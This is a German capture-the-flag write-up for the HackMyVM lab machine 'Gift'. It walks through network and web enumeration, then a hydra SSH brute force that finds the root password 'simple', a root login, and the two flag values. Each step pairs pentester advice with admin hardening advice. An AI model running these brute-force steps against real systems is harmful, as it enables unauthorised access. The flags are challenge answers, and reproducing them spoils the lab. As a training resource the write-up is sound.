Gift - HackMyVM - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
nmap
gobuster
nikto
wfuzz
hydra
ssh
cat

Inhaltsverzeichnis

Reconnaissance

Analyse: Der Befehl `arp-scan -l` wird eingesetzt, um aktive Geräte im lokalen Netzwerksegment zu identifizieren.

Bewertung: Ein Host mit der IP `192.168.2.109` und der MAC-Adresse `08:00:27:56:da:6d` (VirtualBox) wird als Ziel erkannt.

Empfehlung (Pentester): Führe einen Nmap-Scan auf 192.168.2.109 durch.
Empfehlung (Admin): Netzwerk-Monitoring zur Erkennung unbekannter Geräte.

┌──(root㉿cyber)-[~] └─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:xx:xx:xx, IPv4: 192.168.2.153
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.2.109	08:00:27:56:da:6d	PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.912 seconds (134.28 hosts/sec). 1 responded
                    

Analyse: Ein Nmap-Scan wird auf 192.168.2.109 ausgeführt (`-sS -sC -T5 -A -p-`), um offene Ports, Dienste, Versionen und OS-Informationen zu sammeln.

Bewertung: Zwei offene Ports werden gefunden: - **Port 22 (SSH):** OpenSSH 8.3. Eine relativ aktuelle Version. - **Port 80 (HTTP):** Nginx. Die Version wird nicht genau bestimmt, aber der Server läuft. Die Startseite hat keinen Titel. Das Betriebssystem wird als Linux erkannt, und der Hostname ist `gift`.

Empfehlung (Pentester): Untersuche den Webserver auf Port 80 (Verzeichnisse, Dateien). Versuche, gültige Benutzernamen für SSH zu finden und teste auf schwache Passwörter.
Empfehlung (Admin): Halte SSH und Nginx aktuell. Sichere beide Dienste (starke Passwörter/Keys, sichere Webserver-Konfiguration).

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -A 192.168.2.109 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-02 16:24 CET
Nmap scan report for gift (192.168.2.109)
Host is up (0.00012s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.3 (protocol 2.0)
| ssh-hostkey:
|   3072 2c:1b:36:27:e5:4c:52:7b:3e:10:94:41:39:ef:b2:95 (RSA)
|   256 93:c1:1e:32:24:0e:34:d9:02:0e:ff:c3:9c:59:9b:dd (ECDSA)
|_  256 81:ab:36:ec:b1:2b:5c:d2:86:55:12:0c:51:00:27:d7 (ED25519)
80/tcp open  http    nginx
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx 
MAC Address: 08:00:27:56:DA:6D (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.12 ms gift (192.168.2.109)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.45 seconds 
                    

Web Enumeration

Analyse: `gobuster` wird zur Verzeichnis- und Dateisuche auf dem Webserver (Port 80) verwendet.

Bewertung: Es wird nur die Standarddatei `/index.html` gefunden. Keine weiteren Verzeichnisse oder Dateien werden mit dieser Wortliste entdeckt.

Empfehlung (Pentester): Untersuche `/index.html` manuell. Da Gobuster wenig findet, versuche andere Enumerationstechniken (Subdomain-Fuzzing, Parameter-Fuzzing) oder konzentriere dich auf den SSH-Dienst.
Empfehlung (Admin): Stelle sicher, dass keine unnötigen Dateien auf dem Webserver liegen.

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://192.168.2.109 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -e -x .git,php,html,xml,zip,7z,tar,bak,sql,py,pl,txt,jpg,jpeg,png,js,aac,ogg,flac,alac,wav,aiff,war,jse,jar,asp,aspx,csv,rtf,doc,docx,dsd,mp3,mp4,mkv,log,sh,dll,exe,ico -b 404,403
===============================================================
Gobuster v3.2.0-dev
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.109
[+] Method:                  GET
[+] Threads:                 10 
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404,403
[+] User Agent:              gobuster/3.2.0-dev
[+] Extensions:              jar,doc,dsd,jpeg,js,wav,aiff,py,alac,pl,png,war,jse,mp3,log,html,7z,ogg,aspx,docx,mp4,tar,txt,jpg,flac,csv,git,php,zip,aac,asp,mkv,sh,ico,xml,sql,dll,exe,bak,rtf
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2022/11/02 16:24:16 Starting gobuster in directory enumeration mode
===============================================================
http://192.168.2.109/index.html           (Status: 200) [Size: 57]
===============================================================
2022/11/02 16:25:30 Finished 
===============================================================
                    

Analyse: `nikto` wird verwendet, um den Webserver auf bekannte Schwachstellen und Fehlkonfigurationen zu scannen.

Bewertung: Nikto identifiziert den Server als Nginx (ohne Version) und meldet die üblichen fehlenden Security-Header. Es findet keine spezifischen Schwachstellen.

Empfehlung (Pentester): Web-Enumeration liefert bisher keine konkreten Angriffspunkte. Konzentriere dich auf den SSH-Dienst.
Empfehlung (Admin): Setze die fehlenden Security-Header in der Nginx-Konfiguration.

┌──(root㉿cyber)-[~] └─# nikto -h http://192.168.2.109
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.2.109
+ Target Hostname:    192.168.2.109
+ Target Port:        80
+ Start Time:         2022-11-02 16:26:17 (GMT1)
---------------------------------------------------------------------------
+ Server: nginx
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ 7915 requests: 0 error(s) and 3 item(s) reported on remote host
+ End Time:           2022-11-02 16:26:30 (GMT1) (13 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
                     

Analyse: `wfuzz` wird für Subdomain-Enumeration eingesetzt, indem der `Host`-Header mit Einträgen aus einer großen Subdomain-Liste gefuzzt wird (`-H "Host: FUZZ.gift.hmv"`). Der Hostname `gift.hmv` wird verwendet.

Bewertung: !!Fehlgeschlagen!!** Der Scan findet keine gültigen Subdomains, die eine andere Antwort liefern als die Standardseite (deren Größe 57 Chars beträgt, `--hh 57`).

Empfehlung (Pentester): Subdomain-Enumeration erfolglos. Die Angriffsfläche bleibt auf Port 80 (Web) und Port 22 (SSH) beschränkt. Fokussiere SSH.
Empfehlung (Admin): Keine Aktion.

┌──(root㉿cyber)-[~] └─# wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u "http://gift.hmv" -H "Host: FUZZ.gift.hmv" --hh 57
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
  warn(
 ********************************************************
 * Wfuzz 3.1.0 - The Web Fuzzer                         *
 ********************************************************

Target: http://gift.hmv/
Total requests: 114441

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================



Total time: ...
Processed Requests: 114441
Filtered Requests: 114441
Requests/sec.: ...
                     

Initial Access & Privilege Escalation (Root)

Analyse: `hydra` wird verwendet, um einen SSH-Brute-Force-Angriff auf Port 22 des Ziels durchzuführen. Es wird **gezielt der Benutzer `root`** mit Passwörtern aus der `rockyou.txt`-Liste angegriffen.

Bewertung: !!Extrem kritische Schwachstelle & Erfolg!!** Hydra findet nach kurzer Zeit das Passwort `simple` für den `root`-Benutzer. Dies bedeutet: 1. Der Root-Login über SSH ist erlaubt. 2. Der Root-Benutzer hat ein extrem schwaches, gängiges Passwort. Dies ist eine schwerwiegende Sicherheitslücke und ermöglicht direkten Root-Zugriff.

Empfehlung (Pentester): Melde dich sofort als `root` über SSH mit dem gefundenen Passwort an.
Empfehlung (Admin):**DRINGEND:** 1. Deaktiviere den Root-Login über SSH (`PermitRootLogin no` in `/etc/ssh/sshd_config`). 2. Ändere das Root-Passwort sofort zu einem sehr starken, einzigartigen Passwort. 3. Implementiere Schutzmaßnahmen gegen SSH-Brute-Force (fail2ban, Rate Limiting). 4. Überprüfe das System auf mögliche Kompromittierungen, die durch den offenen Root-Zugang entstanden sein könnten.

┌──(root㉿cyber)-[~] └─# hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.2.109:22 -I -t 64
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-11-02 16:38:42
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task
[DATA] attacking ssh://192.168.2.109:22/
[22][ssh] host: 192.168.2.109   login: root   password: simple
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 26 final worker threads did not complete until end.
[ERROR] 26 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-11-02 16:39:20
                     

Analyse: Eine SSH-Verbindung wird als Benutzer `root` zum Ziel `gift.hmv` aufgebaut. Das zuvor mit Hydra gefundene Passwort `simple` wird eingegeben.

Bewertung: !!Root-Zugriff bestätigt!!** Der Login ist erfolgreich. Der Angreifer hat direkten Root-Zugriff auf das System. Die Willkommensnachricht "IM AN SSH SERVER" und der ungewöhnliche Prompt `gift:` sind auffällig, aber nicht funktional hinderlich.

Empfehlung (Pentester): Das Ziel (Root-Zugriff) ist erreicht. Suche nach den Flag-Dateien (`user.txt`, `root.txt`).
Empfehlung (Admin): Siehe vorherige Empfehlungen zur Absicherung des Root-Accounts und SSH.

┌──(root㉿cyber)-[~] └─# ssh root@gift.hmv
The authenticity of host 'gift.hmv (192.168.2.109)' can't be established.
ED25519 key fingerprint is SHA256:dXsAE5SaInFUaPinoxhcuNloPhb2/x2JhoGVdcF8Y6I.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'gift.hmv' (ED25519) to the list of known hosts.
root@gift.hmv's password: simple

IM AN SSH SERVER
gift: 
                     

Analyse: Innerhalb der Root-Shell (mit dem ungewöhnlichen Prompt `gift:`) wird der Befehl `cat root.txt;cat user.txt` ausgeführt, um den Inhalt beider Flag-Dateien anzuzeigen.

Bewertung: Beide Flags werden erfolgreich ausgelesen: - Root-Flag (`root.txt`): `HMVtyr543FG` - User-Flag (`user.txt`): `HMV665sXzDS` Die Dateien befinden sich offenbar im aktuellen Verzeichnis (vermutlich `/root`).

Empfehlung (Pentester): Flags notiert. Test abgeschlossen.
Empfehlung (Admin): Keine Aktion bezüglich der Flags.

gift: cat root.txt;cat user.txt
HMVtyr543FG
HMV665sXzDS
                      

Flags

cat /root/root.txt
HMVtyr543FG
cat /root/user.txt
HMV665sXzDS